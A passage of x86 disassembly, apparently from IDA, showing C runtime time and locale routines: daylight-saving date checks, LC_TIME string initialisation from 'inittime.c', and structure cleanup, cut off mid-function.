; Attributes: bp-based frame


sub_433440	proc near		; CODE XREF: sub_42D9A0+CFp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	0Bh
		call	sub_423280
		add	esp, 4
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_433470
		add	esp, 4
		mov	[ebp+var_4], eax
		push	0Bh
		call	sub_423320
		add	esp, 4
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_433440	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_433470	proc near		; CODE XREF: sub_433440+12p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_45454C, 0
		jnz	short loc_433484
		xor	eax, eax
		jmp	loc_433766
; ---------------------------------------------------------------------------

loc_433484:				; CODE XREF: sub_433470+Bj
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+14h]
		cmp	ecx, dword_4545E0
		jnz	short loc_4334A4
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+14h]
		cmp	eax, dword_4545F0
		jz	loc_43366B

loc_4334A4:				; CODE XREF: sub_433470+20j
		cmp	dword_4F3618, 0
		jz	loc_433625
		xor	ecx, ecx
		mov	cx, word_4F36B8
		test	ecx, ecx
		jnz	short loc_433519
		xor	edx, edx
		mov	dx, word_4F36C6
		push	edx
		xor	eax, eax
		mov	ax, word_4F36C4
		push	eax
		xor	ecx, ecx
		mov	cx, word_4F36C2
		push	ecx
		xor	edx, edx
		mov	dx, word_4F36C0
		push	edx
		push	0
		xor	eax, eax
		mov	ax, word_4F36BC
		push	eax
		xor	ecx, ecx
		mov	cx, word_4F36BE
		push	ecx
		xor	edx, edx
		mov	dx, word_4F36BA
		push	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+14h]
		push	ecx
		push	1
		push	1
		call	sub_433770
		add	esp, 2Ch
		jmp	short loc_43356A
; ---------------------------------------------------------------------------

loc_433519:				; CODE XREF: sub_433470+4Cj
		xor	edx, edx
		mov	dx, word_4F36C6
		push	edx
		xor	eax, eax
		mov	ax, word_4F36C4
		push	eax
		xor	ecx, ecx
		mov	cx, word_4F36C2
		push	ecx
		xor	edx, edx
		mov	dx, word_4F36C0
		push	edx
		xor	eax, eax
		mov	ax, word_4F36BE
		push	eax
		push	0
		push	0
		xor	ecx, ecx
		mov	cx, word_4F36BA
		push	ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+14h]
		push	eax
		push	0
		push	1
		call	sub_433770
		add	esp, 2Ch

loc_43356A:				; CODE XREF: sub_433470+A7j
		xor	ecx, ecx
		mov	cx, word_4F3664
		test	ecx, ecx
		jnz	short loc_4335D2
		xor	edx, edx
		mov	dx, word_4F3672
		push	edx
		xor	eax, eax
		mov	ax, word_4F3670
		push	eax
		xor	ecx, ecx
		mov	cx, word_4F366E
		push	ecx
		xor	edx, edx
		mov	dx, word_4F366C
		push	edx
		push	0
		xor	eax, eax
		mov	ax, word_4F3668
		push	eax
		xor	ecx, ecx
		mov	cx, word_4F366A
		push	ecx
		xor	edx, edx
		mov	dx, word_4F3666
		push	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+14h]
		push	ecx
		push	1
		push	0
		call	sub_433770
		add	esp, 2Ch
		jmp	short loc_433623
; ---------------------------------------------------------------------------

loc_4335D2:				; CODE XREF: sub_433470+105j
		xor	edx, edx
		mov	dx, word_4F3672
		push	edx
		xor	eax, eax
		mov	ax, word_4F3670
		push	eax
		xor	ecx, ecx
		mov	cx, word_4F366E
		push	ecx
		xor	edx, edx
		mov	dx, word_4F366C
		push	edx
		xor	eax, eax
		mov	ax, word_4F366A
		push	eax
		push	0
		push	0
		xor	ecx, ecx
		mov	cx, word_4F3666
		push	ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+14h]
		push	eax
		push	0
		push	0
		call	sub_433770
		add	esp, 2Ch

loc_433623:				; CODE XREF: sub_433470+160j
		jmp	short loc_43366B
; ---------------------------------------------------------------------------

loc_433625:				; CODE XREF: sub_433470+3Bj
		push	0
		push	0
		push	0
		push	2
		push	0
		push	0
		push	1
		push	4
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+14h]
		push	edx
		push	1
		push	1
		call	sub_433770
		add	esp, 2Ch
		push	0
		push	0
		push	0
		push	2
		push	0
		push	0
		push	5
		push	0Ah
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+14h]
		push	ecx
		push	1
		push	0
		call	sub_433770
		add	esp, 2Ch

loc_43366B:				; CODE XREF: sub_433470+2Ej
					; sub_433470:loc_433623j
		mov	edx, dword_4545E4
		cmp	edx, dword_4545F4
		jge	short loc_4336C4
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		cmp	ecx, dword_4545E4
		jl	short loc_433695
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		cmp	eax, dword_4545F4
		jle	short loc_43369C

loc_433695:				; CODE XREF: sub_433470+215j
		xor	eax, eax
		jmp	loc_433766
; ---------------------------------------------------------------------------

loc_43369C:				; CODE XREF: sub_433470+223j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+1Ch]
		cmp	edx, dword_4545E4
		jle	short loc_4336C2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		cmp	ecx, dword_4545F4
		jge	short loc_4336C2
		mov	eax, 1
		jmp	loc_433766
; ---------------------------------------------------------------------------

loc_4336C2:				; CODE XREF: sub_433470+238j
					; sub_433470+246j
		jmp	short loc_433707
; ---------------------------------------------------------------------------

loc_4336C4:				; CODE XREF: sub_433470+207j
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		cmp	eax, dword_4545F4
		jl	short loc_4336E0
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+1Ch]
		cmp	edx, dword_4545E4
		jle	short loc_4336E7

loc_4336E0:				; CODE XREF: sub_433470+260j
		mov	eax, 1
		jmp	short loc_433766
; ---------------------------------------------------------------------------

loc_4336E7:				; CODE XREF: sub_433470+26Ej
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		cmp	ecx, dword_4545F4
		jle	short loc_433707
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		cmp	eax, dword_4545E4
		jge	short loc_433707
		xor	eax, eax
		jmp	short loc_433766
; ---------------------------------------------------------------------------

loc_433707:				; CODE XREF: sub_433470:loc_4336C2j
					; sub_433470+283j ...
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		imul	edx, 3Ch
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	ecx, edx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+8]
		imul	eax, 0E10h
		add	ecx, eax
		imul	ecx, 3E8h
		mov	[ebp+var_4], ecx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+1Ch]
		cmp	edx, dword_4545E4
		jnz	short loc_433752
		mov	eax, [ebp+var_4]
		cmp	eax, dword_4545E8
		jl	short loc_43374E
		mov	eax, 1
		jmp	short loc_433766
; ---------------------------------------------------------------------------

loc_43374E:				; CODE XREF: sub_433470+2D5j
		xor	eax, eax
		jmp	short loc_433766
; ---------------------------------------------------------------------------

loc_433752:				; CODE XREF: sub_433470+2CAj
		mov	ecx, [ebp+var_4]
		cmp	ecx, dword_4545F8
		jge	short loc_433764
		mov	eax, 1
		jmp	short loc_433766
; ---------------------------------------------------------------------------

loc_433764:				; CODE XREF: sub_433470+2EBj
		xor	eax, eax

loc_433766:				; CODE XREF: sub_433470+Fj
					; sub_433470+227j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_433470	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_433770	proc near		; CODE XREF: sub_433470+9Fp
					; sub_433470+F2p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		cmp	[ebp+arg_4], 1
		jnz	loc_43384C
		mov	eax, [ebp+arg_8]
		and	eax, 3
		test	eax, eax
		jnz	short loc_433799
		mov	ecx, [ebp+arg_C]
		mov	edx, dword_4545F8[ecx*4]
		mov	[ebp+var_C], edx
		jmp	short loc_4337A6
; ---------------------------------------------------------------------------

loc_433799:				; CODE XREF: sub_433770+18j
		mov	eax, [ebp+arg_C]
		mov	ecx, dword_45462C[eax*4]
		mov	[ebp+var_C], ecx

loc_4337A6:				; CODE XREF: sub_433770+27j
		mov	edx, [ebp+var_C]
		add	edx, 1
		mov	[ebp+var_8], edx
		mov	eax, [ebp+arg_8]
		sub	eax, 46h
		imul	eax, 16Dh
		mov	ecx, [ebp+var_8]
		add	ecx, eax
		mov	edx, [ebp+arg_8]
		sub	edx, 1
		sar	edx, 2
		lea	eax, [ecx+edx-0Dh]
		cdq
		mov	ecx, 7
		idiv	ecx
		mov	[ebp+var_4], edx
		mov	edx, [ebp+var_4]
		cmp	edx, [ebp+arg_14]
		jg	short loc_4337F9
		mov	eax, [ebp+arg_14]
		sub	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_10]
		sub	ecx, 1
		imul	ecx, 7
		add	ecx, [ebp+var_8]
		add	ecx, eax
		mov	[ebp+var_8], ecx
		jmp	short loc_43380D
; ---------------------------------------------------------------------------

loc_4337F9:				; CODE XREF: sub_433770+6Ej
		mov	edx, [ebp+arg_14]
		sub	edx, [ebp+var_4]
		mov	eax, [ebp+arg_10]
		imul	eax, 7
		add	eax, [ebp+var_8]
		add	eax, edx
		mov	[ebp+var_8], eax

loc_43380D:				; CODE XREF: sub_433770+87j
		cmp	[ebp+arg_10], 5
		jnz	short loc_43384A
		mov	ecx, [ebp+arg_8]
		and	ecx, 3
		test	ecx, ecx
		jnz	short loc_43382C
		mov	edx, [ebp+arg_C]
		mov	eax, dword_4545FC[edx*4]
		mov	[ebp+var_10], eax
		jmp	short loc_433839
; ---------------------------------------------------------------------------

loc_43382C:				; CODE XREF: sub_433770+ABj
		mov	ecx, [ebp+arg_C]
		mov	edx, dword_454630[ecx*4]
		mov	[ebp+var_10], edx

loc_433839:				; CODE XREF: sub_433770+BAj
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_10]
		jle	short loc_43384A
		mov	ecx, [ebp+var_8]
		sub	ecx, 7
		mov	[ebp+var_8], ecx

loc_43384A:				; CODE XREF: sub_433770+A1j
					; sub_433770+CFj
		jmp	short loc_433881
; ---------------------------------------------------------------------------

loc_43384C:				; CODE XREF: sub_433770+Aj
		mov	edx, [ebp+arg_8]
		and	edx, 3
		test	edx, edx
		jnz	short loc_433865
		mov	eax, [ebp+arg_C]
		mov	ecx, dword_4545F8[eax*4]
		mov	[ebp+var_14], ecx
		jmp	short loc_433872
; ---------------------------------------------------------------------------

loc_433865:				; CODE XREF: sub_433770+E4j
		mov	edx, [ebp+arg_C]
		mov	eax, dword_45462C[edx*4]
		mov	[ebp+var_14], eax

loc_433872:				; CODE XREF: sub_433770+F3j
		mov	ecx, [ebp+var_14]
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+var_8]
		add	edx, [ebp+arg_18]
		mov	[ebp+var_8], edx

loc_433881:				; CODE XREF: sub_433770:loc_43384Aj
		cmp	[ebp+arg_0], 1
		jnz	short loc_4338C1
		mov	eax, [ebp+var_8]
		mov	dword_4545E4, eax
		mov	ecx, [ebp+arg_1C]
		imul	ecx, 3Ch
		mov	edx, [ebp+arg_20]
		add	edx, ecx
		imul	edx, 3Ch
		mov	eax, [ebp+arg_24]
		add	eax, edx
		imul	eax, 3E8h
		mov	ecx, [ebp+arg_28]
		add	ecx, eax
		mov	dword_4545E8, ecx
		mov	edx, [ebp+arg_8]
		mov	dword_4545E0, edx
		jmp	loc_433964
; ---------------------------------------------------------------------------

loc_4338C1:				; CODE XREF: sub_433770+115j
		mov	eax, [ebp+var_8]
		mov	dword_4545F4, eax
		mov	ecx, [ebp+arg_1C]
		imul	ecx, 3Ch
		mov	edx, [ebp+arg_20]
		add	edx, ecx
		imul	edx, 3Ch
		mov	eax, [ebp+arg_24]
		add	eax, edx
		imul	eax, 3E8h
		mov	ecx, [ebp+arg_28]
		add	ecx, eax
		mov	dword_4545F8, ecx
		mov	edx, dword_454550
		imul	edx, 3E8h
		mov	eax, dword_4545F8
		add	eax, edx
		mov	dword_4545F8, eax
		cmp	dword_4545F8, 0
		jge	short loc_433931
		mov	ecx, dword_4545F8
		add	ecx, 5265C00h
		mov	dword_4545F8, ecx
		mov	edx, dword_4545F4
		sub	edx, 1
		mov	dword_4545F4, edx
		jmp	short loc_43395B
; ---------------------------------------------------------------------------

loc_433931:				; CODE XREF: sub_433770+19Cj
		cmp	dword_4545F8, 5265C00h
		jl	short loc_43395B
		mov	eax, dword_4545F8
		sub	eax, 5265C00h
		mov	dword_4545F8, eax
		mov	ecx, dword_4545F4
		add	ecx, 1
		mov	dword_4545F4, ecx

loc_43395B:				; CODE XREF: sub_433770+1BFj
					; sub_433770+1CBj
		mov	edx, [ebp+arg_8]
		mov	dword_4545F0, edx

loc_433964:				; CODE XREF: sub_433770+14Cj
		mov	esp, ebp
		pop	ebp
		retn
sub_433770	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_433970	proc near		; DATA XREF: .packed:004543C4o

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4F34C4, 0
		jz	loc_433A11
		push	48h
		push	offset aInittime_c ; "inittime.c"
		push	2
		push	0ACh
		push	1
		call	sub_41C2D0
		add	esp, 14h
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_4339AC
		mov	eax, 1
		jmp	loc_433A47
; ---------------------------------------------------------------------------

loc_4339AC:				; CODE XREF: sub_433970+30j
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_433A50
		add	esp, 4
		test	eax, eax
		jz	short loc_4339DD
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_433FE0
		add	esp, 4
		push	2
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_41CA10
		add	esp, 8
		mov	eax, 1
		jmp	short loc_433A47
; ---------------------------------------------------------------------------

loc_4339DD:				; CODE XREF: sub_433970+4Aj
		mov	eax, [ebp+var_4]
		mov	off_454DE8, eax
		mov	ecx, dword_4F36D4
		push	ecx
		call	sub_433FE0
		add	esp, 4
		push	2
		mov	edx, dword_4F36D4
		push	edx
		call	sub_41CA10
		add	esp, 8
		mov	eax, [ebp+var_4]
		mov	dword_4F36D4, eax
		xor	eax, eax
		jmp	short loc_433A47
; ---------------------------------------------------------------------------

loc_433A11:				; CODE XREF: sub_433970+Bj
		mov	off_454DE8, offset off_454DF0
		mov	ecx, dword_4F36D4
		push	ecx
		call	sub_433FE0
		add	esp, 4
		push	2
		mov	edx, dword_4F36D4
		push	edx
		call	sub_41CA10
		add	esp, 8
		mov	dword_4F36D4, 0
		xor	eax, eax

loc_433A47:				; CODE XREF: sub_433970+37j
					; sub_433970+6Bj ...
		mov	esp, ebp
		pop	ebp
		retn
sub_433970	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_433A50	proc near		; CODE XREF: sub_433970+40p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	[ebp+var_C], 0
		xor	eax, eax
		mov	ax, word_4F370E
		mov	[ebp+var_4], eax
		xor	ecx, ecx
		mov	cx, word_4F3710
		mov	[ebp+var_8], ecx
		cmp	[ebp+arg_0], 0
		jnz	short loc_433A82
		or	eax, 0FFFFFFFFh
		jmp	loc_433FDB
; ---------------------------------------------------------------------------

loc_433A82:				; CODE XREF: sub_433A50+28j
		mov	edx, [ebp+arg_0]
		add	edx, 4
		push	edx
		push	31h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_438A00
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 8
		push	edx
		push	32h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_438A00
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 0Ch
		push	edx
		push	33h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_438A00
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 10h
		push	edx
		push	34h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_438A00
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 14h
		push	edx
		push	35h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_438A00
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 18h
		push	edx
		push	36h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_438A00
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		push	edx
		push	37h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_438A00
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 20h
		push	edx
		push	2Ah
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_438A00
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 24h
		push	edx
		push	2Bh
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_438A00
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 28h
		push	edx
		push	2Ch
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_438A00
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 2Ch
		push	edx
		push	2Dh
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_438A00
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 30h
		push	edx
		push	2Eh
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_438A00
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 34h
		push	edx
		push	2Fh
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_438A00
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 1Ch
		push	edx
		push	30h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_438A00
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 38h
		push	edx
		push	44h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_438A00
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 3Ch
		push	edx
		push	45h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_438A00
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 40h
		push	edx
		push	46h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_438A00
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 44h
		push	edx
		push	47h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_438A00
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 48h
		push	edx
		push	48h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_438A00
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 4Ch
		push	edx
		push	49h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_438A00
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 50h
		push	edx
		push	4Ah
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_438A00
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 54h
		push	edx
		push	4Bh
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_438A00
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 58h
		push	edx
		push	4Ch
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_438A00
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 5Ch
		push	edx
		push	4Dh
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_438A00
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 60h
		push	edx
		push	4Eh
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_438A00
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 64h
		push	edx
		push	4Fh
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_438A00
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 68h
		push	edx
		push	38h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_438A00
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 6Ch
		push	edx
		push	39h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_438A00
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 70h
		push	edx
		push	3Ah
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_438A00
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 74h
		push	edx
		push	3Bh
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_438A00
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 78h
		push	edx
		push	3Ch
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_438A00
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 7Ch
		push	edx
		push	3Dh
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_438A00
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 80h
		push	edx
		push	3Eh
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_438A00
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 84h
		push	edx
		push	3Fh
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_438A00
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 88h
		push	edx
		push	40h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_438A00
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 8Ch
		push	edx
		push	41h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_438A00
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 90h
		push	edx
		push	42h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_438A00
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 94h
		push	edx
		push	43h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_438A00
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 98h
		push	edx
		push	28h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_438A00
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 9Ch
		push	edx
		push	29h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_438A00
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 0A0h
		push	edx
		push	1Fh
		mov	eax, [ebp+var_8]
		push	eax
		push	1
		call	sub_438A00
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 0A4h
		push	edx
		push	20h
		mov	eax, [ebp+var_8]
		push	eax
		push	1
		call	sub_438A00
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 0A8h
		push	edx
		push	1003h
		mov	eax, [ebp+var_8]
		push	eax
		push	1
		call	sub_438A00
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	eax, [ebp+var_C]

loc_433FDB:				; CODE XREF: sub_433A50+2Dj
		mov	esp, ebp
		pop	ebp
		retn
sub_433A50	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_433FE0	proc near		; CODE XREF: sub_433970+50p
					; sub_433970+7Cp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_0], 0
		jnz	short loc_433FEE
		jmp	loc_4342E9
; ---------------------------------------------------------------------------

loc_433FEE:				; CODE XREF: sub_433FE0+7j
		push	2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		push	ecx
		call	sub_41CA10
		add	esp, 8
		push	2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+8]
		push	eax
		call	sub_41CA10
		add	esp, 8
		push	2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+0Ch]
		push	edx
		call	sub_41CA10
		add	esp, 8
		push	2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+10h]
		push	ecx
		call	sub_41CA10
		add	esp, 8
		push	2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+14h]
		push	eax
		call	sub_41CA10
		add	esp, 8
		push	2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+18h]
		push	edx
		call	sub_41CA10
		add	esp, 8
		push	2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		push	ecx
		call	sub_41CA10
		add	esp, 8
		push	2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+20h]
		push	eax
		call	sub_41CA10
		add	esp, 8
		push	2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+24h]
		push	edx
		call	sub_41CA10
		add	esp, 8
		push	2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+28h]
